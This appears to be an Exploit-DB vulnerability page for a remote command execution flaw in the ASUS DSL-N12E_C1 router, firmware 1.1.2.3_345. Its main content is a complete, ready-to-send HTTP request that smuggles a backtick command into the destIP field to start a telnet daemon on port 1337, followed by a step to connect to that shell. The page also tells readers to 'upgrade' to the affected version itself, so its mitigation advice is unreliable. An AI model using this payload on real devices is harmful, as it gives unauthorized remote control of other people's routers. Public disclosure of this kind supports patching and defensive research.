ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution

vendor:

DSL-N12E_C1

by:

Fakhri Zulkifli

8.8

CVSS

HIGH

Remote Command Execution

CWE

Product Name: DSL-N12E_C1

Affected Version From: 1.1.2.3_345

Affected Version To: 1.1.2.3_345

Patch Exists: YES

Related CWE: N/A

CPE: h:asus:dsl-n12e_c1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

ASUS DSL-N12E_C1 1.1.2.3_345 – Remote Command Execution

A vulnerability in ASUS DSL-N12E_C1 1.1.2.3_345 allows an attacker to execute arbitrary commands on the device by sending a specially crafted HTTP request. The vulnerability exists due to insufficient validation of user-supplied input in the ‘cmdMethod’ parameter of the ‘Main_Analysis_Content.asp’ page. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable device. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the vulnerable device.

Mitigation:

Upgrade to the latest version of ASUS DSL-N12E_C1 1.1.2.3_345 or later.

Source

Exploit-DB raw data:

# Exploit Title: ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution
# Date: 2018-08-02
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.asus.com/
# Software Link: https://www.asus.com/Networking/DSLN12E_C1/HelpDesk_BIOS/
# Version: 1.1.2.3_345
# Tested on: 1.1.2.3_345

GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=%60utelnetd+-p+1337%60&pingCNT=5 HTTP/1.1
Host: www.target.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.target.com/Main_Analysis_Content.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

# To connect
1. telnet www.target.com 1337